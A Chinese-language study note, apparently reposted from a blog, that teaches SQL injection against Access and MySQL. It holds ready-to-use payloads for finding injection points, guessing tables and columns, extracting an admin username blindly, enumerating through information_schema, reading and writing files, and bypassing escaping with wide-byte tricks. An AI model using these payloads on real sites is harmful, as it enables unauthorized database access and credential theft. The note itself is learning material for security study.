sql注入基础知识笔记

Access数据库注入(http://www.xxx.com/news.asp?id=6)

暴力猜解:

1)判断是否存在注入点:
http://www.xxx.com/news.asp?id=6 and 1=1    或加and 1=2
两次返回不一样则存在注入


2)判断数据库
and (select count(*) from msysobjects)>0

返回权限不足 access数据库
返回正常则为MySQL数据库


3)猜解表名exists()
and exists (select * from admin)
返回正确 存在admin表


4)猜解列名
and exists (select username from admin)
正确则这个字段在admin表里存在

(5)猜解用户名长度
and (select top 1 len(username) from admin)=5
(6)猜解用户名内容
asc()仍然还是转换为ascii码的函数,mid(admin,2,1)则为截取admin字段内容的第二个字符;用于从文本字段中提取字符
select top 5 字段 from 表名(显示某字段前几项)


SELECT MID(column_name,start[,length]) FROM table_name
column_name     必需。要提取字符的字段。
start     必需。规定开始位置(起始值是 1)。
length     可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

and(select top 1 asc(mid(username,1,1))from admin)>97

and(select top 1 asc(mid(username,1,1))from admin)=97

and(select top 1 asc(mid(username,2,1))from admin)=100

and(select top 1 asc(mid(username,3,1))from admin)=109

and(select top 1 asc(mid(username,4,1))from admin)=105

and(select top 1 asc(mid(username,5,1))from admin)=110

97 100 109 105 110 admin
md5解出来字符串

Mysql数据库注入:
1.猜表名
a),猜是否有来自admin表(暴力猜解)
(select * from .. where x=)1 union select 1,2 from admin //从admin表里选第1,2列
b)借助自带信息查询:
先获得版本信息 union select database() 或version()或 user()
此时的database()得到的数据库名是该网站当下已建立连接的数据库

如果mysql版本为5.0以及以上,则自带有information_schema数据库
        information_schema.tables  //存储所有表名信息的表

查询某个数据库的表名信息,table_schema数据库名(可操作的),数据库名进行16进制转码,就是上一步得到database()的Hex转码值
   select table_name from information_schema.tables where table_schema=  

2.已知表名,获取列名
information_schema.columns  //存储所有表名信息的表
select column_name from information_schema.columns where table_name=  
3.获取数据
 select 列名 from 数据库.表名

4.权限入侵
文件读取和写入
测试root权限:数据库管理show databases;
文件读取:select load_file('d:/test.txt');  //目的性)
文件写入: select 'aaa' into outfile 'd:/test.txt';

普通用户:以上三个都无

注入实战中,网站自身连接数据库时,本连接用户==注入点的用户权限(select user()获取)
5.网站路径获取
1.路径报错,在url上尝试
2.漏洞保错:phpcms暴露径
3.遗留文件:info.php ; phpinfo.php ; test.php; php.php 可能存放了phpinfo()的信息,比如PHP Variables
4.读取配置文件(如果获得最高权限,可
5.社工(搜索inurl:edu.cn warning

不使用\,用/或\\
编码:单符号就不使用编码,编码就不用单符号
编码是为了解决单引号造成的问题


可以使用抓包工具+sql注入工具,得到对应的注入sql语句


is_numeric()判断是否为数字
过滤select之类:C中字符串A用字符串B替换
C=str_replace(A,B,C)

绕过\:
1.宽字节注入
中文或乱码字符占两个字节,符号或英文符号数字占一个字节:乱码+'
2.编码注入

参数·注入:
 a)数字:where id=$id
     id参数有注入点,在id=1后加;
     &是连接符,代表不同参数=参数值
     id=1 and 1=1 &page=1“id的注入
    id=1&page=1 and 1=1 :page 的注入
 b)字符:username='$user', 利用’闭合前的’,用--屏蔽/注释掉后的‘
 c)搜索:where username like '%$name%'
%aad%:选取字符串中含有aad的串;d%:以d开头的串
注释符:-- ; # ;/**/

post提交注入,按下submit键才提交,测试sql语句,首先要找闭口是“之类的
比如”and 1=1#     若对则闭合“

Cookie注入,截包修改发送
   id=$_COOKIE['id']

猜你喜欢

转载自www.cnblogs.com/logcabin/p/12765237.html